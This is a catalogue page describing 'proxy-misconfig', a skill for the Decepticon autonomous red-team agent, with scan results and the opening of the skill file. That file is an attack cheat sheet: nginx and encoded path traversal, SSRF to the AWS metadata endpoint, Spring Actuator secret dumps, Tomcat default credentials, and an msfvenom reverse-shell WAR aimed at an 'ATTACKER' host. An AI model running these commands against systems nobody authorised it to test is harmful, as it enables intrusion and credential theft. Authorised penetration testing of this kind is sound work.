Decepticon is an autonomous red-team agent that coordinates AI agents, security tools, sandboxes, and supporting services for authorized cybersecurity assessments. Security researchers and red teams can run it through its Docker stack, cloud service, command-line interface, or Python SDK, with the catalogue entries representing its available skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PurpleAILAB/Decepticon --skill proxy-misconfiggit clone --depth 1 https://github.com/PurpleAILAB/DecepticonWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/purpleailab/decepticon/proxy-misconfig)<a href="https://agentmods.dev/skills/purpleailab/decepticon/proxy-misconfig"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/proxy-misconfig/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/purpleailab/decepticon/proxy-misconfig"><img src="https://agentmods.dev/badge/skills/purpleailab/decepticon/proxy-misconfig.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 4 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Privilege Escalation · line 28 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 125 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Server-Side Request Forgery · line 37 Code accesses a cloud instance metadata endpoint (e.g. 169.254.169.254). A single request can return temporary IAM credentials, making this a high-value SSRF target for credential theft.Fix: Remove access to cloud metadata endpoints unless strictly required. If metadata is needed, restrict it (e.g. IMDSv2 with hop limit) and never expose returned credentials.
- high YARA Match · line 65 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00037 | $0.01413 |
| Opus 5 | $0.00018 | $0.00707 |
| Sonnet 5 | $0.00007 | $0.00283 |
| Haiku 4.5 | $0.00004 | $0.00141 |
Grade C, and why
proxy-misconfig scanned grade C with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 9d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Cloud metadata endpointhighServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
GET /proxy/169.254.169.254/latest/meta-data → AWS metadata SSRF Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl $TARGET/actuator Copies of this mod
1 near-identical copy found in the catalogue:
- proxy-misconfig — 94% identical, 2 lines differ
How it starts
The opening of the file, as written. The whole thing — 161 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Reverse Proxy Misconfigurations
1. Nginx alias traversal
Nginx alias directive (vs root) is dangerous when URL pattern is
prefix-based but alias is a directory:
location /static {
alias /var/www/static/; # trailing slash CRITICAL
}
# But buggy:
location /static {
alias /var/www/static; # NO trailing slash → path traversal possible
}
Bypass:
GET /static../etc/passwd → resolves to /var/www/static../etc/passwd → /var/www/etc/passwd (if exists)
GET /static../ → directory listing if autoindex on
2. Apache mod_rewrite SSRF
RewriteRule ^/proxy/(.*) http://$1 [P]
# Attacker:
GET /proxy/internal-host.local/admin → server makes outbound to internal
GET /proxy/169.254.169.254/latest/meta-data → AWS metadata SSRF
3. Spring Boot Actuator exposure
# Common endpoints if exposed
curl $TARGET/actuator
curl $TARGET/actuator/env # all env vars including secrets
curl $TARGET/actuator/heapdump # full memory dump (often contains tokens/passwords)
curl $TARGET/actuator/mappings # all routes
curl $TARGET/actuator/loggers # logging config
curl $TARGET/actuator/jolokia/ # JMX bridge → RCE in many configs
# Pre-2.x style
curl $TARGET/env
curl $TARGET/dump
curl $TARGET/trace
curl $TARGET/heapdump
4. Tomcat Manager
curl -u tomcat:tomcat $TARGET/manager/text/list
# Default creds:
# tomcat:tomcat, admin:admin, admin:tomcat, role1:role1
# tomcat:s3cret, manager:manager
# If logged in → upload WAR for RCE
msfvenom -p java/jsp_shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f war -o shell.war
curl -u admin:admin -T shell.war "$TARGET/manager/text/deploy?path=/shell"
curl "$TARGET/shell/" # triggers shell
5. IIS short-name disclosure (8.3 names)
# Probe via specific URL pattern + difference in error
curl -s -o /dev/null -w "%{http_code}\n" "$TARGET/A*~1*/"
# 400 if exists, 404 if not — leaks first chars of files/dirs
# Tool: shortscan, IIS_shortname_Scanner
6. Nginx merge_slashes off + URL encoded
GET /api//../../admin # if merge_slashes off, internal route mapping bypasses auth
GET /api/%2e%2e/admin # URL-encoded traversal
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 9d ago First seen · 161 lines · 37 tokens per session scan C c5f2925286bc
proxy-misconfig is a skill published in the GitHub repository PurpleAILAB/Decepticon (5,491 stars, last pushed 13d ago), licensed Apache-2.0. It adds 37 tokens to every session and 1,413 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it C with 2 findings (cloud metadata endpoint, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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